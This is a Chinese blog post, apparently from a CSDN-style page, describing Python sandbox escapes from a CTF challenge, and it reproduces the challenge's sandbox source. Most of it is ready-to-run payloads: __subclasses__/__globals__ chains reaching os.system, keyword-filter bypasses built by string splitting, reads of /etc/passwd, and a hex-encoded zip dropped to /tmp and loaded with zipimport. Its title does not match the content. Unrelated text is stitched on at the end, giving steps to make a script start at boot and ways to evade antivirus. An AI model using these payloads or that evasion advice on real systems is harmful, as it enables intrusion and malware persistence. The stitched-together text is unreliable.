python绕过付费_禁用import的情况下绕过python沙箱

本文总结一些python沙盒在禁用了import,__import__ ,无法导入模块的情况下沙盒绕过的一些方法, 国赛上出了一道python沙盒的题,做了一天没做出来, 让我知道我对python一无所知, 于是总结了一篇文章,大佬勿喷.

basic在Python里,这段[].__class__.__mro__[-1].__subclasses__()魔术代码,不用import任何模块,但可调用任意模块的方法。

2 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道,sys.version可以查看python版本。

>>> import sys

>>> sys.version

'2.7.10 (default, Oct 23 2015, 19:19:21) n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (查看当前内存空间可以调用的函数

print __builtins__

dir()

dir(__builtins__)

trick1

内置函数,可以通过dir(__builtins__) 看看有哪些内置函数可以利用的.

eval: eval('import("os").system("ls")')

input: import('os').system('ls')

open,file: file('/etc/passwd').read() open('/etc/passwd').read()

exec : exec("__import__('os').system('ls')");

execfile: 加载文件进内,相当于from xx import *

execfile('/usr/lib/python2.7/os.py') system('ls')

map 回调函数

map(os.system,['ls'])

trick2

__globals__ :该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os,sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__ 属性访问全局的变量

>>> a = lambda x:x+1

>>> dir(a)

['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

>>> a.__globals__

{'__builtins__': , '__name__': '__main__', '__doc__': None, 'a': at 0x7fcd7601ccf8>, '__package__': None}

>>> a.func_globals

{'__builtins__': , '__name__': '__main__', '__doc__': None, 'a': at 0x7f1095d72cf8>, '__package__': None}

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")

我们看到__globals__ 是一个字典,默认有__builtins__对象,另外funcglobals和`_globals` 作用一样

在python sandbox中一般会过滤__builtins__内容,这样globals里面的__builtins__也就没有什么意义了,即使重新import __builtin__ 还是一样.

2.1 执行系统命令

在python2.7.10里,

[].class.base.subclasses() 里面有很多库调用了我们需要的模块os

/usr/lib/python2.7/warning.py

58

59

/usr/lib/python2.7/site.py

71

72

76

我们来看一下/usr/lib/python2.7/warning.py导入的模块

import linecache

import sys

import types

跟踪linecache文件/usr/lib/python2.7/linecache.py

import sys

import os

OK,调用了os,可以执行命令,于是一个利用链就可以构造了:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')dict和globals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问

还要大佬给了一个不需要利用__globals__就可以执行命令的payload:

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

我们来在来看一下/usr/lib/python2.7/site.py导入的模块

import sys

import os

import __builtin__

import traceback

直接构造:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

2.2 禁用了globals如何绕过

在今年国赛上有一道run的沙盒绕过的题目,白名单过滤了import 导入的内容, 禁用了ls,即__globals__ 用不了了,想了很多其他方式都没有绕过去,赛后才知道的方法,这里也写一下

绕过方法就是利用类的一些描述器方法

__getattribute__:

当访问 某个对象的属性时,会无条件的调用这个方法。比如调用t.__dict__,其实执行了t.__getattribute__("__dict__")函数, 这个方法只适用于新式类。

新式类就是集成自object或者type的类。

于是我们就可以利用__init__.__getattribute__('__global'+'s__') 拼接字符串的方法来绕过ls的关键字 而不是直接调用__init__.__globals__

最终的payload为:

print [].__class__.__mro__[-1].__subclasses__()[71].__init__.__getattribute__('__global'+'s__')['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

有点不明白的就是下面这条命令执行不了,不知道为什么,本机上是可以执行的,不然也是完全可以绕过所有关键字的.

[].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')还有两个描述器方法和这个方法类似,但还是有区别的

__getattr__: 只有getattribute找不到的时候,才会调用getattr.

__get__: 当函数被当作属性访问时,它就会把函数变成一个实例方法。

run这题的源码如下,有兴趣的可以研究一下

sandbox.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# @Date : 2018-04-09 23:30:58

# @Author : Xu (you@example.org)

# @Link : https://xuccc.github.io/

# @Version : $Id$

from sys import modules

from cpython import get_dict

from types import FunctionType

main = modules['__main__'].__dict__

origin_builtins = main['__builtins__'].__dict__

def delete_type():

type_dict = get_dict(type)

del type_dict['__bases__']

del type_dict['__subclasses__']

def delete_func_code():

func_dict = get_dict(FunctionType)

del func_dict['func_code']

def safe_import(__import__,whiteList):

def importer(name,globals={},locals={},fromlist=[],level=-1):

if name in whiteList:

return __import__(name,globals,locals,fromlist,level)

else:

print "HAHA,[%s] has been banned~" % name

return importer

class ReadOnly(dict):

"""docstring for ReadOnlu"""

def __delitem__(self,keys):

raise ValueError(":(")

def pop(self,key,default=None):

raise ValueError(":(")

def popitem(self):

raise ValueError(":(")

def setdefault(self,key,value):

raise ValueError(":(")

def __setitem__(self,key,value):

raise ValueError(":(")

def __setattr__(self, name, value):

raise ValueError(":(")

def update(self,dict,**kwargs):

raise ValueError(":(")

def builtins_clear():

whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ")

for mod in __builtins__.__dict__.keys():

if mod not in whiteList:

del __builtins__.__dict__[mod]

def input_filter(string):

ban = "exec eval pickle os subprocess input sys ls cat".split(" ")

for i in ban:

if i in string.lower():

print "{} has been banned!".format(i)

return ""

return string

# delete_type();

del delete_type

delete_func_code();del delete_func_code

builtins_clear();del builtins_clear

whiteMod = []

origin_builtins['__import__'] = safe_import(__import__,whiteMod)

safe_builtins = ReadOnly(origin_builtins);del ReadOnly

main['__builtins__'] = safe_builtins;del safe_builtins

del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType

del __builtins__, __doc__, __file__, __name__, __package__

print """

____

| _ _ _ _ __

| |_) | | | | '_

| _

|_| _\__,_|_| |_|

Escape from the dark house built with python :)

Try to getshell then find the flag!

"""

while 1:

inp = raw_input('>>>')

cmd = input_filter(inp)

try:

exec cmd

except NameError, e:

print "wow something lose!We can't find it ! D:"

except SyntaxError,e:

print "Noob! Synax Wrong! :("

except Exception,e:

print "unknow error,try again :>"

cpython

from ctypes import pythonapi,POINTER,py_object

_get_dict = pythonapi._PyObject_GetDictPtr

_get_dict.restype = POINTER(py_object)

_get_dict.argtypes = [py_object]

del pythonapi,POINTER,py_object

def get_dict(ob):

return _get_dict(ob).contents.value

trick3: 调用file函数读写文件

().__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() //调用file子类

().__class__.__mro__[-1].__subclasses__()[40]('/tmp/1').write("11") //写文件

trick4: zipimport.zipimporter

55

我们查看zipimport的帮助手册,发现有个load_module函数,可以导入相关文件到内存中

| load_module(...)

| load_module(fullname) -> module.

|

| Load the module specified by 'fullname'. 'fullname' must be the

| fully qualified (dotted) module name. It returns the imported

| module, or raises ZipImportError if it wasn't found.

于是我们可以先制作一个包含payload的zip文件:

import os

print os.system('cat *')

利用file函数写入zip到/tmp/目录下,然后再调用zipimport.zipimporter导入zip文件中的内容到内存,构造利用链如下:

v = ().__class__.__mro__[-1].__subclasses__()

a = "x50x4bx03x04x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x7ax2ex70x79xcbxccx2dxc8x2fx2ax51xc8x2fxe6x2ax28xcaxccx03x31xf4x8ax2bx8bx4bx52x73x35xd4x93x13x4bx14xb4xd4x35xb9x00x50x4bx01x02x3fx03x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x00x00x00x00x00x00x20x80xa4x81x00x00x00x00x7ax2ex70x79x50x4bx05x06x00x00x00x00x01x00x01x00x32x00x00x00x44x00x00x00x00x00"

v[40]('/tmp/z','wb').write(a)

v[55]('/tmp/z').load_module('z')

缺点: 需要导入zlib库,如果无法导入的话,该方法失效

参考

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,需要注意的是,绕过杀软是一种不道德的行为,同时也是违法的。因此,我们不鼓励或支持这种行为。 其次,关于Python自启动,一般有两种方法: 1. 将Python脚本添加到系统的启动项中。这样,每次开机启动时,系统会自动运行这个脚本。具体步骤如下: - 打开“运行”窗口,输入“shell:startup”,打开启动文件夹。 - 右键点击文件夹中的空白处,选择“新建”->“快捷方式”。 - 在“快捷方式”的目标栏中输入“python.exe 脚本路径”,如“C:\Python27\python.exe D:\test.py”。 - 点击“下一步”,输入一个名称,如“test”,点击“完成”即可。 2. 使用Windows任务计划程序。这样,可以设置脚本在指定的时间自动运行。具体步骤如下: - 打开“控制面板”->“管理工具”->“任务计划程序”。 - 在任务计划程序中,右键点击“任务计划程序库”,选择“创建任务”。 - 在“常规”选项卡中,输入一个名称和描述,选择“不管用户是否登录都要运行”,勾选“使用最高权限运行”。 - 在“触发器”选项卡中,选择“新建”,设置计划的触发条件,如每天、每周等。 - 在“操作”选项卡中,选择“新建”,设置操作为“启动程序”,输入“python.exe 脚本路径”。 - 点击“确定”保存任务。 对于绕过杀软的过程,一般有以下几种方法: 1. 使用FUD(Fully Undetectable)技术,将病毒代码加密或混淆,使其难以被杀软检测到。 2. 使用虚拟机或沙箱环境,在其中运行病毒代码,以避免被杀软检测。 3. 修改病毒代码,使其不再具有病毒行为,从而不被杀软检测到。 4. 手动编写病毒代码,使用未被杀软识别的技术和方法。 需要注意的是,这些方法都存在风险和不道德性质,因此不应该轻易尝试。同时,杀软的主要目的是保护用户安全,因此绕过杀软的行为也可能会对用户造成风险和危害。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值